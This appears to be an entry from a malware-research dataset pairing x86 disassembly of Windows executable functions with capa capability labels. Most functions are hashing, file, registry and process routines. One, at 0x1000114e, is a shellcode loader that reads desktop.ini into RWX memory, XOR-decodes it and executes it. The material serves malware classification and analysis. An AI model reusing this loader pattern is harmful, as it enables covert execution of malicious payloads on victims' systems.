joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416560
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
push esi
push edi
mov dword [esp + 0x14], 0
xor ebx, ebx
call fcn.00416a70
add esp, 8
test eax, eax
je 0x4166a9
inc esi
inc ebx
push esi
push edi
call fcn.00416a70
add esp, 8
test eax, eax
jne 0x416588
test ebx, ebx
je 0x4166a9
push ebp
push 8
push ebx
call fcn.004248dd
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x4166da
xor ebp, ebp
test ebx, ebx
jle 0x416693
push ebp
push edi
call fcn.00416a70
mov esi, eax
add esp, 8
test esi, esi
je 0x416693
push esi
call fcn.00416d30
add esp, 4
test eax, eax
je 0x4166c6
push 0
push esi
call fcn.00416a70
mov edi, eax
add esp, 8
test edi, edi
je 0x416693
push 1
push esi
call fcn.00416a70
mov esi, eax
add esp, 8
test esi, esi
je 0x416693
push edi
call fcn.00416db0
add esp, 4
test eax, eax
je 0x4166b2
push esi
call fcn.00416db0
add esp, 4
test eax, eax
je 0x4166b2
mov ecx, dword [edi + 0x10]
test ecx, ecx
je 0x416693
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416640
sub ecx, edx
je 0x416693
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x416693
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416655
sub ecx, edx
je 0x416693
push 8
push 1
call fcn.004248dd
mov ecx, dword [esp + 0x1c]
add esp, 8
mov dword [ecx + ebp*4], eax
test eax, eax
je 0x4166da
mov ecx, dword [edi + 0x10]
inc ebp
inc dword [esp + 0x10]
mov edi, dword [esp + 0x20]
mov dword [eax], ecx
mov ecx, dword [esi + 0x10]
mov dword [eax + 4], ecx
cmp ebp, ebx
jl 0x4165c2
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
pop ebp
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [esp + 8]
pop ebx
add esp, 0xc
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
push str.config_expected_string_array__n
call fcn.00414b20
add esp, 4
push 1
call fcn.00423abc
push str.config_expected_array__n
call fcn.00414b20
add esp, 4
push 1
call fcn.00423abc
push str.out_of_memory:_cjson_string_array2__n
call fcn.00414b20
add esp, 4
push 0
call fcn.00423abc
int3
Function at 0x4166f0
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call fcn.00416a90
mov edx, dword [esp + 0x20]
mov esi, eax
mov ebp, esi
mov dword [esp + 0x10], esi
sub ebp, edx
xor eax, eax
inc ebp
xor edi, edi
cmp edx, esi
mov ebx, 1
cmova ebp, eax
cmp ebp, ebx
jb 0x416742
mov eax, ebx
sub eax, edx
mov esi, eax
lea eax, [edi + 1]
xor edi, edi
cmp byte [edx], 0xa
lea edx, [edx + 1]
cmovne edi, eax
lea eax, [ebx + 1]
cmovne eax, ebx
mov ebx, eax
lea eax, [esi + edx]
cmp eax, ebp
jbe 0x416721
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 0x234]
mov eax, dword [eax]
test eax, eax
je 0x41676a
push dword [ecx + 0x230]
push edi
push ebx
push dword [esp + 0x28]
push ecx
call eax
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push dword [esp + 0x1c]
push str.file___s_n
call fcn.00414b20
push edi
push ebx
push str.error_is_at_line_d__column_d_n
call fcn.00414b20
push str.error_
call fcn.00414b20
add esp, 0x18
test esi, esi
je 0x4167bb
mov al, byte [esi]
test al, al
je 0x4167bb
movsx eax, al
push eax
push 0x441b04
call fcn.00414b20
mov al, byte [esi]
add esp, 8
cmp al, 0x5d
je 0x4167bb
cmp al, 0x7d
je 0x4167bb
add esi, 1
jne 0x416795
push 1
call fcn.00423abc
int3
Function at 0x418fe0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x9c
mov eax, dword [0x4a99c8]
xor eax, esp
mov dword [esp + 0x98], eax
mov ecx, dword [esp + 0xa0]
push esi
mov esi, dword [esp + 0xa8]
mov eax, esi
and eax, 0x1fffffff
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 4], eax
mov eax, esi
shr eax, 0x1d
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
mov dword [esp + 8], eax
push edi
mov edi, dword [esp + 0xb0]
cmp esi, 0x40
jb 0x41905d
mov eax, esi
and eax, 0xffffffc0
push eax
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00418630
add esp, 0xc
mov ecx, eax
and esi, 0x3f
push esi
push ecx
lea eax, [esp + 0x28]
push eax
call fcn.0041d5a0
mov ecx, dword [esp + 0x14]
mov eax, 0x40
and ecx, 0x3f
add esp, 0xc
mov byte [esp + ecx + 0x20], 0x80
inc ecx
sub eax, ecx
cmp eax, 8
jae 0x4190af
push eax
lea eax, [esp + 0x24]
add eax, ecx
push 0
push eax
call fcn.0041db20
push 0x40
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00418630
add esp, 0x18
mov eax, 0x40
xor ecx, ecx
add eax, 0xfffffff8
push eax
lea eax, [esp + 0x24]
add eax, ecx
push 0
push eax
call fcn.0041db20
mov eax, dword [esp + 0x14]
push 0x40
lea ecx, [eax*8]
movzx eax, cl
mov byte [esp + 0x68], al
mov eax, ecx
shr eax, 8
mov byte [esp + 0x69], al
mov eax, ecx
shr eax, 0x10
mov byte [esp + 0x6a], al
movzx eax, byte [esp + 0x1c]
mov dword [esp + 0x18], ecx
shr ecx, 0x18
mov byte [esp + 0x6c], al
mov byte [esp + 0x6b], cl
mov ecx, dword [esp + 0x1c]
mov eax, ecx
shr eax, 8
mov byte [esp + 0x6d], al
mov eax, ecx
shr eax, 0x10
mov byte [esp + 0x6e], al
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x1c]
shr ecx, 0x18
push eax
mov byte [esp + 0x77], cl
call fcn.00418630
movzx eax, byte [esp + 0x28]
add esp, 0x18
mov ecx, dword [esp + 0x10]
mov byte [edi], al
mov eax, ecx
shr eax, 8
mov byte [edi + 1], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 2], al
movzx eax, byte [esp + 0x14]
mov byte [edi + 4], al
shr ecx, 0x18
mov byte [edi + 3], cl
mov ecx, dword [esp + 0x14]
mov eax, ecx
shr eax, 8
mov byte [edi + 5], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 6], al
movzx eax, byte [esp + 0x18]
mov byte [edi + 8], al
shr ecx, 0x18
mov byte [edi + 7], cl
mov ecx, dword [esp + 0x18]
mov eax, ecx
shr eax, 8
mov byte [edi + 9], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 0xa], al
movzx eax, byte [esp + 0x1c]
shr ecx, 0x18
mov byte [edi + 0xc], al
mov byte [edi + 0xb], cl
mov ecx, dword [esp + 0x1c]
mov eax, ecx
shr eax, 8
mov byte [edi + 0xd], al
mov eax, ecx
shr eax, 0x10
mov byte [edi + 0xe], al
shr ecx, 0x18
mov byte [edi + 0xf], cl
mov ecx, dword [esp + 0xa0]
pop edi
pop esi
xor ecx, esp
call fcn.0041c143
add esp, 0x9c
ret
Function at 0x4191d0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, 0x40
push edi
mov ecx, dword [esi]
lea edi, [esi + 0x18]
and ecx, 0x3f
mov byte [ecx + esi + 0x18], 0x80
inc ecx
sub eax, ecx
cmp eax, 8
jae 0x419211
push eax
lea eax, [esi + 0x18]
add eax, ecx
push 0
push eax
call fcn.0041db20
push 0x40
push edi
push esi
call fcn.00418630
add esp, 0x18
mov eax, 0x40
xor ecx, ecx
add eax, 0xfffffff8
push eax
lea eax, [esi + 0x18]
add eax, ecx
push 0
push eax
call fcn.0041db20
shl dword [esi], 3
mov eax, dword [esi]
mov byte [esi + 0x50], al
mov eax, dword [esi]
shr eax, 8
mov byte [esi + 0x51], al
movzx eax, byte [esi + 2]
mov byte [esi + 0x52], al
movzx eax, byte [esi + 3]
mov byte [esi + 0x53], al
movzx eax, byte [esi + 4]
mov byte [esi + 0x54], al
mov eax, dword [esi + 4]
shr eax, 8
mov byte [esi + 0x55], al
movzx eax, byte [esi + 6]
push 0x40
mov byte [esi + 0x56], al
movzx eax, byte [esi + 7]
push edi
push esi
mov byte [esi + 0x57], al
call fcn.00418630
mov ecx, dword [esp + 0x24]
movzx eax, byte [esi + 8]
push 0x98
push 0
mov byte [ecx], al
mov eax, dword [esi + 8]
shr eax, 8
mov byte [ecx + 1], al
movzx eax, byte [esi + 0xa]
mov byte [ecx + 2], al
movzx eax, byte [esi + 0xb]
mov byte [ecx + 3], al
movzx eax, byte [esi + 0xc]
mov byte [ecx + 4], al
mov eax, dword [esi + 0xc]
shr eax, 8
mov byte [ecx + 5], al
movzx eax, byte [esi + 0xe]
mov byte [ecx + 6], al
movzx eax, byte [esi + 0xf]
mov byte [ecx + 7], al
movzx eax, byte [esi + 0x10]
mov byte [ecx + 8], al
mov eax, dword [esi + 0x10]
shr eax, 8
mov byte [ecx + 9], al
movzx eax, byte [esi + 0x12]
mov byte [ecx + 0xa], al
movzx eax, byte [esi + 0x13]
mov byte [ecx + 0xb], al
movzx eax, byte [esi + 0x14]
mov byte [ecx + 0xc], al
mov eax, dword [esi + 0x14]
shr eax, 8
mov byte [ecx + 0xd], al
movzx eax, byte [esi + 0x16]
mov byte [ecx + 0xe], al
movzx eax, byte [esi + 0x17]
push esi
mov byte [ecx + 0xf], al
call fcn.0041db20
add esp, 0x24
pop edi
pop esi
ret

Function at 0x419300
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax], 0
mov dword [eax + 4], 0
ret
Function at 0x419bf0
Capabilities:
Hash data using sha1

Disassembly:
sub esp, 0x7c
mov eax, dword [0x4a99c8]
xor eax, esp
mov dword [esp + 0x78], eax
push esi
push dword [esp + 0x88]
mov esi, dword [esp + 0x90]
lea eax, [esp + 8]
push dword [esp + 0x88]
xorps xmm0, xmm0
mov dword [esp + 0x4c], 0
push eax
movlpd qword [esp + 0x58], xmm0
mov dword [esp + 0x60], 0x67452301
mov dword [esp + 0x64], 0xefcdab89
mov dword [esp + 0x68], 0x98badcfe
mov dword [esp + 0x6c], 0x10325476
mov dword [esp + 0x70], 0xc3d2e1f0
mov dword [esp + 0x74], 0x5a827999
mov dword [esp + 0x78], 0x6ed9eba1
mov dword [esp + 0x7c], 0x8f1bbcdc
mov dword [esp + 0x80], 0xca62c1d6
call fcn.00419e30
lea eax, [esp + 0x10]
push esi
push eax
call fcn.00419ca0
mov ecx, dword [esp + 0x90]
add esp, 0x14
pop esi
xor ecx, esp
call fcn.0041c143
add esp, 0x7c
ret
Function at 0x41a0e0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
test eax, eax
je 0x41a179
push 0x470ee0
push eax
call fcn.004248c6
mov esi, eax
add esp, 8
test esi, esi
je 0x41a179
push ebx
push edi
push 2
push 0
push esi
call fcn.0042a8b6
push esi
call fcn.0042aece
push 0
push 0
push esi
mov ebx, eax
call fcn.0042a8b6
lea ecx, [ebx + 8]
push ecx
push 1
call fcn.004248dd
add esp, 0x24
mov edi, eax
push esi
test edi, edi
jne 0x41a142
call fcn.004247a0
add esp, 4
xor eax, eax
pop edi
pop ebx
pop esi
ret
push ebx
push 1
push edi
call fcn.0042a544
add esp, 0x10
push esi
cmp eax, ebx
je 0x41a167
call fcn.004247a0
push edi
call fcn.004248e8
add esp, 8
xor eax, eax
pop edi
pop ebx
pop esi
ret
mov byte [eax + edi], 0
call fcn.004247a0
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x4359dc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00435859

Function at 0x436c59
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00436bdb

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4124d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47aa9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046f491
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x412552
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046cee2
mov eax, dword [eax]
push 0x56a1e0
push eax
call fcn.0045f904
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046f71c
test bl, bl
je 0x412552
push 0x56a1e0
lea ecx, [esp + 0xc]
call fcn.0046faac
push 0x56dd9c
lea ecx, [esp + 0xc]
call fcn.0046faac
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41258e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046f71c
jmp 0x412659
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x412612
lea edx, [esp + 0x7c]
push 0x56dd98
push edx
call fcn.0045f904
add esp, 8
test eax, eax
je 0x412612
lea eax, [esp + 0x7c]
push 0x56dd94
push eax
call fcn.0045f904
add esp, 8
test eax, eax
je 0x412612
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4125a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046f71c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x412e70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x412ed2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x412ee0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47ab1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x574e18]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x413018
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x412f46
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046f71c
xor eax, eax
jmp 0x41308f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046f859
push esi
lea ecx, [esp + 0xc]
call fcn.0046fae8
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41306d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00412e70
test eax, eax
jne 0x41306d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00412e70
test eax, eax
jne 0x41306d
lea eax, [esp + 0x14]
push 0x56ddb0
push eax
call fcn.00460aa0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41304c
lea ecx, [esp + 0x14]
push 0x56ddac
push ecx
call fcn.00460a20
mov esi, eax
add esp, 8
test esi, esi
jne 0x41304c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41304f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046f809
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x412f5e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046f71c
xor eax, eax
jmp 0x41308f
mov byte [esi], 0
push 0x56dda8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046f71c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x426ab0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x426b1e
cmp si, 0x69
ja 0x426b1e
add esi, 0xffd0
cmp si, 0x11
je 0x426aee
push 0x11
call edi
test ax, ax
jge 0x426aee
or esi, 0x2000
cmp si, 0x10
je 0x426b03
push 0x10
call edi
test ax, ax
jge 0x426b03
or esi, 0x4000
cmp si, 0x12
je 0x426b18
push 0x12
call edi
test ax, ax
jge 0x426b18
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x426b2b
mov esi, 0xbd
jmp 0x426adf
cmp si, 0x6e
jne 0x426b38
mov esi, 0xbe
jmp 0x426adf
cmp si, 0x6f
jne 0x426ad9
mov esi, 0xbf
jmp 0x426adf

Function at 0x428bd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5854d8]
xor edx, edx
cmp eax, edx
jne 0x428bf6
xor eax, eax
mov byte [eax + 0x5853d8], al
inc eax
cmp eax, 0x100
jl 0x428bde
mov dword [0x5854d8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5853d8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x428c87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x428c5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x428c28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x428d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x428d53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x428d3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42f790
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x42f928
cmp ebp, ebx
jle 0x42f928
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42f7ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x42f7f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x42f804
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42f80b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0046f45d
add esp, 4
cmp eax, ebx
je 0x42f82c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0046f45d
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42f91e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x42f905
mov al, byte [edx]
cmp al, 0xc0
jbe 0x42f8f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x42f8e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x42f8f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x42f8f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x42f890
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x42f881
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x432b90
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47c558
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x432bc9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00476e1c
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00476e68
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00432c50
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00476ea5
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24